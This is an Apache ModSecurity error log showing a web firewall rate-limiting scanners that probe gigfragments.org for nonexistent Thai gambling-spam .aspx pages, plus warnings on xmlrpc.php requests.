[Thu Jan 29 18:16:53.777574 2026] [:error] [pid 19069:tid 19081] [client 95.91.110.210:20122] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXszlfDHsRM4BJ9a4Qss7gAAAAM"]
[Thu Jan 29 18:16:55.942964 2026] [:error] [pid 20580:tid 20689] [client 95.91.110.210:20128] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aXszl5CZ5HHdXPmeL58IXgAAApU"]
[Thu Jan 29 18:16:58.325070 2026] [:error] [pid 20579:tid 20643] [client 95.91.110.210:20134] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXszmjVXNopcNyjJc9X-MAAAAkI"]
[Thu Jan 29 18:17:01.503077 2026] [:error] [pid 20519:tid 20564] [client 95.91.110.210:20146] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20otp.aspx"] [unique_id "aXsznQo4s4fyROrkyRnJmQAAAZA"]
[Thu Jan 29 18:17:03.718567 2026] [:error] [pid 20576:tid 20594] [client 95.91.110.210:10420] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXsznyrDZws_FlQGi9dWmQAAAcg"]
[Thu Jan 29 18:17:05.872206 2026] [:error] [pid 19070:tid 19115] [client 95.91.110.210:10426] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aXszobou83lIon_aKgbJDAAAAEk"]
[Thu Jan 29 18:17:09.086275 2026] [:error] [pid 19069:tid 19098] [client 95.91.110.210:10440] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot777.aspx"] [unique_id "aXszpfDHsRM4BJ9a4QstAAAAABQ"]
[Thu Jan 29 18:17:11.319474 2026] [:error] [pid 19177:tid 19200] [client 95.91.110.210:10442] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXszp3ipGz0PT8TrQv52HgAAANU"]
[Thu Jan 29 18:17:14.660288 2026] [:error] [pid 19071:tid 19140] [client 95.91.110.210:62874] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100.aspx"] [unique_id "aXszqpfa8Ix5wWmtmJxnzAAAAIc"]
[Thu Jan 29 18:39:36.058666 2026] [:error] [pid 20580:tid 20673] [client 79.137.67.84:57302] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ambbet.aspx"] [unique_id "aXs46JCZ5HHdXPmeL58PMAAAAoU"]
[Thu Jan 29 18:39:38.061601 2026] [:error] [pid 20578:tid 20634] [client 79.137.67.84:59352] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/autobet.aspx"] [unique_id "aXs46g6UX7yOMwQFiycb3wAAAhU"]
[Thu Jan 29 18:39:40.027395 2026] [:error] [pid 19071:tid 19154] [client 79.137.67.84:36752] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/autoslot.aspx"] [unique_id "aXs47Jfa8Ix5wWmtmJxtgAAAAJU"]
[Thu Jan 29 18:39:42.161558 2026] [:error] [pid 20579:tid 20660] [client 79.137.67.84:36754] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bet911.aspx"] [unique_id "aXs47jVXNopcNyjJc9UDJwAAAlM"]
[Thu Jan 29 18:39:44.273799 2026] [:error] [pid 20578:tid 20619] [client 79.137.67.84:36756] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXs48A6UX7yOMwQFiycb6gAAAgY"]
[Thu Jan 29 18:39:46.365716 2026] [:error] [pid 19071:tid 19149] [client 79.137.67.84:36764] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aXs48pfa8Ix5wWmtmJxtigAAAJA"]
[Thu Jan 29 18:39:48.355460 2026] [:error] [pid 20579:tid 20663] [client 79.137.67.84:36768] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXs49DVXNopcNyjJc9UDTQAAAlU"]
[Thu Jan 29 18:39:50.434842 2026] [:error] [pid 19069:tid 19095] [client 79.137.67.84:37698] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXs49vDHsRM4BJ9a4Qs2QAAAABE"]
[Thu Jan 29 18:39:52.555144 2026] [:error] [pid 19069:tid 19086] [client 79.137.67.84:37706] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cat888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXs4-PDHsRM4BJ9a4Qs2XwAAAAg"]
[Thu Jan 29 18:39:54.793560 2026] [:error] [pid 19071:tid 19137] [client 79.137.67.84:37716] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/faw99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXs4-pfa8Ix5wWmtmJxtpgAAAIQ"]
[Thu Jan 29 18:39:56.914475 2026] [:error] [pid 19071:tid 19139] [client 79.137.67.84:37724] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fun88%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXs4_Jfa8Ix5wWmtmJxtqwAAAIY"]
[Thu Jan 29 18:39:58.948135 2026] [:error] [pid 20486:tid 20491] [client 79.137.67.84:37726] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/g2g1bet.aspx"] [unique_id "aXs4_ngqSZb6GBx5nnPdfAAAAQI"]
[Thu Jan 29 18:40:01.062157 2026] [:error] [pid 20486:tid 20493] [client 79.137.67.84:58316] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aXs5AXgqSZb6GBx5nnPdgQAAAQQ"]
[Thu Jan 29 18:40:02.972242 2026] [:error] [pid 19177:tid 19199] [client 79.137.67.84:58326] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goatbet909.aspx"] [unique_id "aXs5AnipGz0PT8TrQv56bQAAANQ"]
[Thu Jan 29 18:40:04.856822 2026] [:error] [pid 20519:tid 20561] [client 79.137.67.84:58340] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/grand%20lisboa%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXs5BAo4s4fyROrkyRnN8gAAAY0"]
[Thu Jan 29 18:40:06.760291 2026] [:error] [pid 20580:tid 20679] [client 79.137.67.84:58342] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/joker%20slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXs5BpCZ5HHdXPmeL58PpwAAAos"]
[Thu Jan 29 19:39:45.542586 2026] [:error] [pid 20576:tid 20610] [client 167.235.6.174:56682] [client 167.235.6.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.235.6.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXtHASrDZws_FlQGi9dljQAAAdg"]
[Thu Jan 29 19:53:26.525102 2026] [:error] [pid 20579:tid 20647] [client 159.203.120.5:49610] [client 159.203.120.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.120.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXtKNjVXNopcNyjJc9USdgAAAkY"]
[Thu Jan 29 19:56:45.051735 2026] [:error] [pid 19071:tid 19150] [client 54.36.60.45:34768] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20joker%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtK_Zfa8Ix5wWmtmJyAQAAAAJE"]
[Thu Jan 29 19:56:47.132642 2026] [:error] [pid 19069:tid 19094] [client 54.36.60.45:42588] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD777.aspx"] [unique_id "aXtK__DHsRM4BJ9a4QtRVQAAABA"]
[Thu Jan 29 19:56:49.230743 2026] [:error] [pid 19069:tid 19101] [client 54.36.60.45:42600] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtLAfDHsRM4BJ9a4QtRWQAAABc"]
[Thu Jan 29 19:56:51.165249 2026] [:error] [pid 20578:tid 20626] [client 54.36.60.45:42608] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXtLAw6UX7yOMwQFiycreQAAAg0"]
[Thu Jan 29 19:56:53.233079 2026] [:error] [pid 20576:tid 20603] [client 54.36.60.45:42614] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20joker%20%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A.aspx"] [unique_id "aXtLBSrDZws_FlQGi9dpmAAAAdE"]
[Thu Jan 29 19:56:55.358093 2026] [:error] [pid 19177:tid 19199] [client 54.36.60.45:42754] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufa365%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtLB3ipGz0PT8TrQv6JSQAAANQ"]
[Thu Jan 29 19:56:57.451263 2026] [:error] [pid 20486:tid 20496] [client 54.36.60.45:42768] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A.aspx"] [unique_id "aXtLCXgqSZb6GBx5nnPvqwAAAQc"]
[Thu Jan 29 19:56:59.380738 2026] [:error] [pid 20486:tid 20490] [client 54.36.60.45:42770] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20pg%20slot.aspx"] [unique_id "aXtLC3gqSZb6GBx5nnPvrwAAAQE"]
[Thu Jan 29 19:57:01.334787 2026] [:error] [pid 19177:tid 19203] [client 54.36.60.45:42782] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20slotxo.aspx"] [unique_id "aXtLDXipGz0PT8TrQv6JTQAAANg"]
[Thu Jan 29 19:57:03.325437 2026] [:error] [pid 19069:tid 19078] [client 54.36.60.45:42788] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99superslot.aspx"] [unique_id "aXtLD_DHsRM4BJ9a4QtRbgAAAAA"]
[Thu Jan 29 19:57:05.412899 2026] [:error] [pid 19069:tid 19096] [client 54.36.60.45:51516] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2joker123%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtLEfDHsRM4BJ9a4QtRdQAAABI"]
[Thu Jan 29 19:57:07.298716 2026] [:error] [pid 20578:tid 20632] [client 54.36.60.45:51518] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtLEw6UX7yOMwQFiycrgwAAAhM"]
[Thu Jan 29 19:57:09.367002 2026] [:error] [pid 19071:tid 19152] [client 54.36.60.45:51528] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg%20slot%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtLFZfa8Ix5wWmtmJyAUgAAAJM"]
[Thu Jan 29 19:57:11.286970 2026] [:error] [pid 19069:tid 19096] [client 54.36.60.45:51536] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg%20slot%20auto.aspx"] [unique_id "aXtLF_DHsRM4BJ9a4QtRgAAAABI"]
[Thu Jan 29 19:57:13.383339 2026] [:error] [pid 19069:tid 19078] [client 54.36.60.45:51546] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2sbobet%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtLGfDHsRM4BJ9a4QtRhgAAAAA"]
[Thu Jan 29 19:57:15.487804 2026] [:error] [pid 20579:tid 20663] [client 54.36.60.45:52846] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2slotxo%20joker.aspx"] [unique_id "aXtLGzVXNopcNyjJc9UTigAAAlU"]
[Thu Jan 29 19:57:17.538615 2026] [:error] [pid 19069:tid 19085] [client 54.36.60.45:52850] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2w88.aspx"] [unique_id "aXtLHfDHsRM4BJ9a4QtRmAAAAAc"]
[Thu Jan 29 19:57:19.445324 2026] [:error] [pid 20576:tid 20597] [client 54.36.60.45:52866] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtLHyrDZws_FlQGi9dpqgAAAcs"]
